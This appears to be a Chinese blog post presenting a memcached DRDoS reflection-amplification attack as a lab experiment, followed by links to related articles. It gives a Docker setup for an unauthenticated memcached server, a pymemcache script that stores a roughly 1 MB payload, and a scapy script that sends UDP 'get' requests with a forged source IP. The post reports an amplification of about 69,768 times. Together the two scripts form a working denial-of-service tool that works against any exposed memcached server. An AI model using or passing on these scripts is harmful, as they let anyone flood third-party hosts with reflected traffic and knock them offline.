memcached DRDOS攻击实验

一、前提

关于drdos

DRDoS(Distributed Reflection Denial of Service) 指的是利用IP Spoofing技术,构造带有受害者IP的数据包,发送给肉鸡,然后肉鸡对受害者IP做出大量回应,造成拒绝服务。

关于memcached命令

第一个是上传有效载荷Memcached set 命令

Memcachedset 命令用于将 value(数据值) 存储在指定的 key(键) 中。

如果set的key已经存在,该命令可以更新该key所对应的原来的数据,也就是实现更新的作用

第二个反射有效载荷Memcached get 命令

Memcachedget 命令获取存储在 key(键) 中的 value(数据值) ,如果 key 不存在,则返回空。

关于攻击原理

TCP基于3次握手,如果源IP被伪造会停止通信,但是UDP因为面向无连接的,即使伪造IP也可以通信,服务器也无法验证源IP真实性,因此我们可以通过发送源地址为被攻击主机IP的数据包来将Memcached服务器返回的包发送给被攻击主机,从而达到反射攻击的目的。我们将使用TCP来上传我们的攻击载荷,使用UDP构造请求来发起攻击

关于攻击过程

drdos攻击的三个过程

1.攻击者,必须提前需要把攻击数据存放在所有的在线肉鸡或者反射服务器之上。

2.攻击者,必须伪造IP源头。发送海量伪造IP来源的请求。当然这里的IP就是受害者的IP地址。

3.反射服务器,必须可以反射数据,运行良好稳定。最好是请求数据少,返回数据成万倍增加。

二、实验环境

攻击机 kali,装有memcached的ubuntu肉鸡,受害机,这里是模拟,受害机ip可以随便写

Memcached drdos拓扑图

三、实验步骤

1.docker部署memcached

默认已经安装了docker,docker-compose,用docker起一个memcached环境,需要同时打开udp和tcp,-e表示配置memcached的环境变量,缓存大小设置为64M

docker run -d -p 11211:11211/tcp -p 11211:11211/udp -e MEMCACHED_MEMORY_LIMIT=64m -e MEMCACHED_TCP_PORT=11211 -e MEMCACHED_UDP_PORT=11211 --name memcache memcached:1.4.32

2.docker ps 查看容器状态

3.查看端口开放情况

netstat -anop | grep 11211 看到tcp和udp都有在监听连接,大抵是udp是面向无连接的,所以虽然没显示listen,但其实也在监听

4.测试无授权

memcached drdos攻击需要满足无授权,来测试一下是不是无授权

输入telnet 192.168.20.172 11211

然后输入stats,发现不用输入密码也能正常回显,无授权条件达成

5.编写set脚本

python安装pymemcache库

pip install pymemcache

然后编写脚本set大约1Mb数据到memcached,

创建并编辑drdos.py

from pymemcache.client.base import Client
import sys client = Client(('192.168.20.172', 11211)) //装有memcached的ubuntu肉鸡ip
# set payload
key = 't'
data ='A'*1023*1023 + "B"
result = client.set('t', data)
if result:
print "[*] payload set done!"
else:
print "[!] payload set error!"

6.编写反射脚本

src为伪造的ip,这里为受害机,伪造是10.40.0.133发起的get t请求,memcached将会把数据反射给10.40.0.133

from scapy.all import *
from scapy import *
from scapy.layers.inet import IP, UDP
import sys for i in range(int(sys.argv[1] )):
data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n"
package=IP(dst='192.168.20.155', src='10.40.0.133')/UDP(dport=11211,sport=2018)/data
send(package, count=1)
print "[*] send %d times " % int(i+1)

7.分别运行set和反射脚本

python drdos.py

python drdos1.py 1 (数字为想要请求几次,这里就请求一次)

8.查看set结果

在刚刚telnet连接的界面

输入get t,看看有没有set成功

看到数据总共1046530字节

9.查看流量

在受害机wireshark抓取流量,这里选择捕获虚拟机网卡的流量,根据实际情况选择

过滤udp.port == 11211,可以看到伪造的15字节的udp get请求,看到源目的ip,确实是反射给了受害机,因为是udp,会分成多个包

随意选择一个,追踪udp流,看到整个udp包

10.计算放大比

我们在kali伪造请求数据data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n" 总共15字节,但memcached却给受害机反射了1046530字节

1046530/15约等于69768倍,也就是放大了将近7万倍,这还只是我们在一个机子上发送的一次请求

memcached DRDOS攻击实验的更多相关文章

  1. 关于Memcached反射型DRDoS攻击分析

    一.Memcached反射攻击原理 1.反射DRDoS攻击: DRDoS攻击时DoS攻击的一种,DoS是指通过发送或引发大量的资源消耗导致服务不可用的一种攻击方式,中文称之为拒绝服务攻击.DRDoS是 ...

  2. 审核Memcrashed Drdos攻击代码

    0x00前言: 距离世界上最大的Drdos攻击已经过去了两个星期左右 昨天在交流的时候.群友在Github中找到了exploit. 0x01开始: #-- coding: utf8 -- #!/usr ...

  3. Mininet实验 基于Mininet实现BGP路径挟持攻击实验

    参考:基于Mininet实现BGP路径挟持攻击实验 实验目的: 掌握如何mininet内模拟AS. 掌握BGP路径挟持的原理和分析过程. 实验原理: 互联网是由相互连接的自治系统AS组成的,通过一个通 ...

  4. CSAPP缓冲区溢出攻击实验(上)

    CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...

  5. CSAPP缓冲区溢出攻击实验(下)

    CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...

  6. Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)

    缓冲器溢出攻击实验题目: 下边的代码摘自<黑客攻防技术宝典——系统实战篇(第 2 版)>2.5 节,攻击该代码,获得root 权限,实现相应的效果. strcpy(little_array ...

  7. ms08_067攻击实验

    ms08_067攻击实验 ip地址 开启msfconsole 使用search ms08_067查看相关信息 使用 show payloads ,确定攻击载荷 选择playoad,并查看相关信息 设置 ...

  8. 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验

    注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...

  9. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  10. 20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

    shellcode 准备一段Shellcode 我用的老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 ...

随机推荐

  1. MPC收藏

    收集有关MPC的优秀文章,方便查阅. 同态加密 原理 介绍 程序员的干货!核心理论之同态加密 https://mp.weixin.qq.com/s/1uH0UjnS_Mo8ShXJ-16UXw BGV ...

  2. Oracle trunc的使用

    在生产环境中我们经常会用到只取年月日或者时间处理的场景,大多数人用的都是to_char(string,'yyyy-mm-dd')或者to_date(string,'yyyy-mm-dd')来处理,不说 ...

  3. 初识VPC网络的能力

    本文分享自天翼云开发者社区<初识VPC网络的能力>,作者:布小匠 VPC网络的来源 在云计算早期是没有VPC的概念的,有的是虚拟网络和虚拟路由器的功能.虚拟网络的作用是为用户提供一个虚拟的 ...

  4. Vue获取DOM,数据监听,组件,混合和插槽

    Vue获取DOM,数据监听,组件,混合和插槽 注:":" 是指令 "v-bind"的缩写,"@"是指令"v-on"的缩写 ...

  5. 6.App.vue配置

    1.修改<div id="app">指定动态路由,可以设置导航栏 <div id="app"> <!-- 导航栏 --> & ...

  6. 什么是token?token是用来干嘛的?

    从事计算机行业的朋友都听说过token这么个东西,尤其是deepseek爆火后api(大家都知道什么意思吧),但是其他行业的人就很少了解到token,下面就给大家来详细介绍一下token是什么意思?t ...

  7. 记录一次修复 JetBrains Rider 控制台输出乱码

    在使用 JetBrains Rider 调试程序时,控制台输出日志出现了乱码. 歪打正着结果困扰许久的问题得到了解决,于是记录下了这个小短文. 具体的修复建议如下:将终端编码设置为 GB2312 具体 ...

  8. TextEdit 使用Mask验证输入格式为邮箱

    设置Mask代码如下: <dxe:TextEdit Text="{Binding Email}" MaskType="RegEx" Mask=" ...

  9. [BZOJ2741][FOTILE模拟赛] L 题解

    相当好的题目,虽然和我前几天出的题重了qwq. \(lmx\) 是我们的红太阳,没有他我们就会死!!! 暴力枚举一个端点,然后用可持久化 \(01\ Trie\) 或者离线 \(Trie\)(当然这题 ...

  10. [Ynoi2016] 镜中的昆虫 题解

    难度在最近遇到的题里相对较高,在这里写一篇珂学题解. (以下是学校给的部分分) \(20\%\):直接暴力枚举. 另外 \(20\%\):假如我们取 \(pre\),对于 \(pre<l\) 的 ...